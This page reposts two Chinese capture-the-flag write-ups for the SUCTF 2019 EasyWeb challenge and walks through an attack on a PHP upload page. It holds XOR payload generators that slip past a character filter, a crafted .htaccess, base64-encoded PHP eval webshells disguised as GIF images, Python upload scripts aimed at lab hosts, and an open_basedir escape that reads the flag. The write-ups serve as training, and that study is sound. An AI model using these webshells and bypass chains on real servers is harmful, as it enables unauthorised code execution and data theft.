[SUCTF 2019]EasyWeb
Posted coleak
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[SUCTF 2019]EasyWeb相关的知识,希望对你有一定的参考价值。
目录
代码审计
进入页面即是代码,进行审计
命令执行部分
<?php
$hhh = @$_GET['_'];
if (!$hhh)
highlight_file(__FILE__);
if(strlen($hhh)>18)
die('One inch long, one inch strong!');
if ( preg_match('/[\\x00- 0-9A-Za-z\\'"\\`~_&.,|=[\\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
- 正则分析
\\x00: ASCII码为0的字符
-: 连字符
0-9: 数字0到9
A-Za-z: 大小写字母
\\'": 单引号、双引号
`: 反引号
~_&.,|=: 波浪线、下划线、&符号、逗号、竖线、等于号
[\\x7F]+: ASCII码为127及以上的字符(常用于表示扩展的ASCII字符集)
其中 i 表示忽略大小写。因此,这个正则表达式可以匹配包括数字、字母、符号以及一些特殊字符,例如扩展ASCII字符集中的字符。
这里我们用脚本直接生成payload进行绕过
文件上传部分
function get_the_flag()
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir))
mkdir($userdir);
if(!empty($_FILES["file"]))
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
过滤了ph后缀,文件里不能有<?,而且必须是图片文件
过滤了ph后缀,一般做法是传.htaccess或者在有php文件的情况下传.user.ini,但是不满足该目录下有php文件(这里文件上传的目录不可控企鹅不可回退遍历),因此考虑上传.htaccess文件和一个图片后缀的webshell
- exif_imagetype
(PHP 4 >= 4.3.0, PHP 5, PHP 7)
exif_imagetype - 确定图像的类型
exif_imagetype()读取图像的第一个字节并检查其签名。
这里在.htaccess文件中直接添加GIF89a会影响该文件的作用导致失败
用以下两种方法让我们的.htaccess生效
#define width 1337
#define height 1337
在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
文件内容不能有<?
一般是用<script language="php"></script>
来绕过,但是因为这题的PHP版本是7.3.4,<script language="php"></script>
这种写法在PHP7以后就不支持了,因此不行。
- 新姿势
#define width 1337
#define height 1337
AddType application/x-httpd-php .feng
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c41893938531041badacfc22febe3abd/123.feng
利用auto_append_file来包含b64解码的123.feng文章,这样往123.feng里面写b64解密后的马,就可以绕过<?的过滤了。
但是还有一个细节需要注意,我们的123.feng也需要是个图片,需要在前面加上GIF89a,但是这只有6个字符,需要再随便加上2个base64有的字符,这样解码的时候才能正确解码,而且不会影响到后面的PHP一句话
GIF89a00PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
密码是1
异或绕过preg_match脚本
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
for($j=0;$j<255;$j++)
$k = chr($j)^chr(255); \\\\dechex(255) = ff
if($k == $argv[$i])
if($j<16)
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
echo "\\$l`$r\\";
?>
%ff%ff%ff%ff^%a0%b8%ba%ab //异或结果为$_GET,$_GET%ff
%ff%ff%ff%ff`%a0%b8%ba%ab
$%ff%ff%ff%ff^%a0%b8%ba%ab%ff();&%ff=phpinfo
传入后实际为:
?_=$_GET%ff();&%ff=phpinfo
最终利用那个文件上传函数
$%ff%ff%ff%ff^%a0%b8%ba%ab%ff();&%ff=get_the_flag
文件上传脚本
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .coleak
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.coleak"
"""
shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_REQUEST[1]);?>")
url = "http://4028da5b-e08f-416a-ac17-294cc9922bba.node4.buuoj.cn:81/?_=$%ff%ff%ff%ff^%a0%b8%ba%ab%ff();&%ff=get_the_flag"
files = 'file':('.htaccess',htaccess,'image/jpeg')
data = "upload":"Submit"
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = 'file':('shell.coleak',shell,'image/jpeg')
response = requests.post(url=url, data=data, files=files)
print(response.text)
upload/tmp_f9e1016a5cec370aae6a18d438dabfa5/.htaccess
upload/tmp_f9e1016a5cec370aae6a18d438dabfa5/shell.coleak
解题思路
非预期解
在phpinfo里面找到flag
预期解
上传文件后执行命令
测试蚁剑的GC_UAF和Backtrace_UAF插件可以直接绕过disable_functions和目录限制
[SUCTF 2019]EasyWeb
文章目录
前言
学习完这道题,受教了~
往往直接给出源码的题目,知识量要求不是很广,但是要求学习精度要很高~
一、bypass
观察源码,发现这里的preg_match()函数运用得很严格,就是把所有的数字和字母都过滤了,而且还过滤了一些特殊字符~
可以尝试稍微fuzz一下可视字符,看看有哪些是可以使用的。
<?php
for($i=0;$i<128;$i++)
if(preg_match('/[\\x00- 0-9A-Za-z\\'"\\`~_&.,|=[\\x7F]+/i', chr($i)))
continue;
else
echo (chr($i));
?>
结果: !#$%()*+-/:;<>?@\\]^
发现这一段限制了使用字符的种类不能超过'12'。
其中看到这里就可以大致了解到这是一个考点为“取反”、“异或”绕过类型
但是由于我们fuzz后得到的可视字符中没有“取反符号”——“~”
所以这是一个考察“异或bypass”的知识点。
所以这里我参考了别人的PHP脚本:
<?php
$l = "";
$r = "";
$argv = str_split("_GET"); //这里是要异或的字符串
var_dump( $argv);
for($i=0;$i<count($argv);$i++)
for($j=0;$j<255;$j++)
$k = chr($j)^chr(254); //dechex(254) =fe %fe是一个不可视的字符,一般过滤不到,dechex()是将十进制转为16进制
if($k == $argv[$i])
if($j<16)
$l .= "%fe";
$r .= "%0" . dechex($j);
continue;
$l .= "%fe";
$r .= "%" . dechex($j);
continue;
echo "\\$l`$r\\"; //这里不直接使用^是为了能正常输出显示
?>
得到:
\\%fe%fe%fe%fe`%a1%b9%bb%aa\\
我们修改一下关键部分:%fe%fe%fe%fe^%a1%b9%bb%aa
最后这里是可以相当于注入点
我们修改一下GET传参内容:
?_=$%fe%fe%fe%fe^%a1%b9%bb%aa%fe();&%fe=phpinfo
相当于
?_=$_GET%fe();&%fe=phpinfo
相当于
?_=$_GETphpinfo();
经过eval($hhh);
相当于eval(phpinfo());
这样就可以执行我们的函数了
注意:需要通过phpinfo()来发现当前工作的目录环境
这里为:/var/www/html
二、文件上传
之前都是有文件上传页面的,所以这次是我第一次使用脚本去上传文件~~(有点菜)
观察这一段代码,有三层的过滤:
第一层:过滤了含有字符串“ph”的文件名
第二层:过滤了开头部分“<?”
第三层:过滤非图片文件
解决方式:
一、使用.htaccess文件上传
因为使用.user.ini需要目录有.php文件,这里还不好判断
二、原本是打算使用<script>标签来绕过的,但是通过之前的phpinfo发现这PHP版本高于7.2了,所以这个标签被废除了。
这里是使用了base64编码来绕过的。(一会看了EXP就清楚了)
三、在文件头添加大小标识、或者使用图片头都可以
#define width 1000
#define height 1000或者
GIF89a
这个get_the_flag()函数是用来给我们上传木马文件的,所以这里需要跟我们之前的bypass联动起来。
import requests
import base64
url="http://4051edd0-8f0a-4a0e-b2c0-45c0b74666cb.node4.buuoj.cn/"
first="?_=$%fe%fe%fe%fe^%a1%b9%bb%aa%fe();&%fe=get_the_flag"
file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
file_all='file':('.htaccess',file_content,'image/jpeg')
response=requests.post(url=url+first,files=file_all)
print(response.text) #成功上传了.htaccess文件,接下来就是木马文件了
file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")
file2_all='file':('get.jpg',file2_content,'image/jpeg')
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)
结果:
发现无法直接连接到目标服务器
通过大佬们的WP发现了open_basedir限制了我们访问的目录。
修改脚本后,直接在脚本上获取目录信息
import requests
import base64
url="http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/"
first="?_=$%fe%fe%fe%fe^%a1%b9%bb%aa%fe();&%fe=get_the_flag"
file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
#或者resource=./get.jpg
file_all='file':('.htaccess',file_content,'image/jpeg')
response=requests.post(url=url+first,files=file_all)
print(response.text) #成功上传了.htaccess文件,接下来就是木马文件了
file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")
file2_all='file':('get.jpg',file2_content,'image/jpeg')
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)
#开始执行
cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));"
end=requests.post(url=url+response2.text+cmd)
print(end.text)
结果是:
再次修改脚本
import requests
import base64
url="http://53470fe2-56c5-4d3f-8dc0-000d7638c5e1.node4.buuoj.cn:81/"
first="?_=$%fe%fe%fe%fe^%a1%b9%bb%aa%fe();&%fe=get_the_flag"
file_content='''
#define width 1000
#define height 1000
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_020598b5c37fc1206644e58debc8ecf2/get.jpg"
'''
#或者resource=./get.jpg
file_all='file':('.htaccess',file_content,'image/jpeg')
response=requests.post(url=url+first,files=file_all)
print(response.text) #成功上传了.htaccess文件,接下来就是木马文件了
file2_content=b"GIF89aaa" + base64.b64encode(b"<?php eval($_GET['hack']);?>")
file2_all='file':('get.jpg',file2_content,'image/jpeg')
response2=requests.post(url=url+first,files=file2_all)
print(response2.text)
#开始执行
#cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/'));"
cmd="?hack=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);echo file_get_contents('/THis_Is_tHe_F14g');"
end=requests.post(url=url+response2.text+cmd)
print(end.text)
结果是:
完
总结
暑假还是要加把劲啊,这速度跟不上了~
以上是关于[SUCTF 2019]EasyWeb的主要内容,如果未能解决你的问题,请参考以下文章